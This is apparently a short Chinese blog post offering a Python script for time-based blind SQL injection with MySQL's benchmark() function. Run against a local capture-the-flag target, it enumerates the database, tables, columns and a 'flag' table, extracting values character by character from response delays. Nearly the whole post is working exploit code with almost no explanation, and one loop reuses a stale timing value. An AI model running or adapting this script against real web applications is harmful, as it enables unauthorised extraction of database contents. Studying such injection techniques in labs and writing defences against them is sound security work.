sql注入------基于时间延迟benchmark函数注入脚本

#author:windy_2
import requests
urlx = 'http://127.0.0.1/?id= 1 and if((substr((select database()),'
payloads = 'qwertyuiopasdfghjklzxcvbnm{}_0123456789'

def guess_column(table):
    string = ''
    extend = 0
    list = []
    length2 = 0
    num = []
    num1 = []
    url1 = 'http://127.0.0.1/?id= 1 and if(((select count(column_name) from information_schema.columns where table_name=\''+ table + '\')='
    url2 = 'http://127.0.0.1/?id= 1 and if((substr((select column_name from information_schema.columns where table_name=\'' + table + '\' limit '
    url3 = 'http://127.0.0.1/?id= 1 and if(((select length(column_name) from information_schema.columns where table_name=\'' + table + '\' limit '
    url4 = 'http://127.0.0.1/?id= 1 and if(((substr((select '
    url5 = 'http://127.0.0.1/?id= 1 and if(((select count('
    url7 = 'http://127.0.0.1/?id= 1 and if(((select length('
    for i in range(50):                                               #获取字段数量
        url = url1 + str(i) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
        r = requests.get(url)
        print(url)
        time = r.elapsed.total_seconds()
        print(time)
        if time > 1.5:
            extend = i
            length2 = i
            break
    for k in range(extend):
        st = ''
        extend1 = 0
        for m in range(100):
            url = url3 + str(k) + ',1)=' + str(m) + '),benchmark(1000000,md5(\'test\')),NULL); %23'       #获取字段长度
            r = requests.get(url)
            if time > 1.5:
                extend1 = m
                break
        for i in range(1,extend1+1):         #获取字段
            for payload in payloads:
                url = url2 + str(k) + ',1),' + str(i) + ',1)=\'' + payload + '\'),benchmark(1000000,md5(\'test\')),NULL); %23'
                r = requests.get(url)
                time = r.elapsed.total_seconds()
                if time > 1.5:
                    print(url)
                    st += payload
                    break
        list.append(st)
        num1.append(st)
    length = 0
    for i in range(1,10000):                 #获取记录数量
        url = url5 + str(num1[0]) + ') from ' + table + ')=' + str(i) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
        print(url)
        r = requests.get(url)
        time = r.elapsed.total_seconds()
        if time > 1.5:
            length = i
            break
    for column in list:
        str1 = ''
        for i in range(length):
            length1 = 0
            url6 = url4 + str(column) + ' from ' + table + ' limit ' + str(i)
            for k in range(100):                  #获取记录长度
                url = url7 + str(column) + ') from '+ table + ' limit ' + str(i) + ',1)=' + str(k) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
                r = requests.get(url)
                time = r.elapsed.total_seconds()
                if time > 1.5:
                    print(url)
                    length1 = k
                    break
            for n in range(1,length1+1):              #获取记录
                for payload in payloads:
                    url = url6 + ',1),' + str(n) + ',1))=\'' + str(payload) + '\'),benchmark(1000000,md5(\'test\')),NULL); %23'
                    r = requests.get(url)
                    time = r.elapsed.total_seconds()
                    if time > 1.5:
                        print(url)
                        str1 += payload
                        break
            num.append(str1)
            str1 = ''
    for column in num1:
        print(column+'    ',end='')
    print('\n',end='')
    for i in range(length2):
        for k in range(length):
            x = i + length * k
            print(num[x]+'    ',end='')
        print('\n',end='')
def guess_table():
    string = ''
    extend = 0
    list = []
    url1 = 'http://127.0.0.1/?id= 1 and if(((select count(table_name) from information_schema.tables where table_schema=database())='
    url2 = 'http://127.0.0.1/?id= 1 and if((substr((select table_name from information_schema.tables where table_schema=database() limit '
    url3 = 'http://127.0.0.1/?id= 1 and if(((select length(table_name) from information_schema.tables where table_schema=database() limit '
    for i in range(50):
        url = url1 + str(i) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
        r = requests.get(url)
        time = r.elapsed.total_seconds()
        if time > 1.5:
            extend = i
            break
    for k in range(extend):
        st = ''
        extend1 = 0
        for m in range(100):
            url = url3 + str(k) + ',1)=' + str(m) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
            r = requests.get(url)
            time = r.elapsed.total_seconds()
            if time > 1.5:
                extend1 = m
                break
        for i in range(1,extend1+1):
            for payload in payloads:
                url = url2 + str(k) + ',1),' + str(i) + ',1)=\'' + payload + '\'),benchmark(1000000,md5(\'test\')),NULL); %23'
                r = requests.get(url)
                time = r.elapsed.total_seconds()
                if time > 1.5:
                    st += payload
                    break
        list.append(st)
    print('------------')
    for i in list:
        print(f'[*]{i}')
    print('------------')
    guess_column('flag')

def main():
    string = ''
    url1 = 'http://127.0.0.1/?id= 1 and if((length(database())='
    extend = 0
    for k in range(20):
        url = url1 + str(k) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
        r = requests.get(url)
        time = r.elapsed.total_seconds()
        if time > 1.5:
            extend = k
            break
    for i in range(1,extend+1):
        for payload in payloads:
            url = urlx + str(i) + ',1)=\''
            url = url + payload + '\'),benchmark(1000000,md5(\'test\')),NULL); %23'
            r = requests.get(url)
            time = r.elapsed.total_seconds()
            if time > 1.5:
                string += payload
                break
    print(f'available database\n[*] {string}')
    guess_table()

main()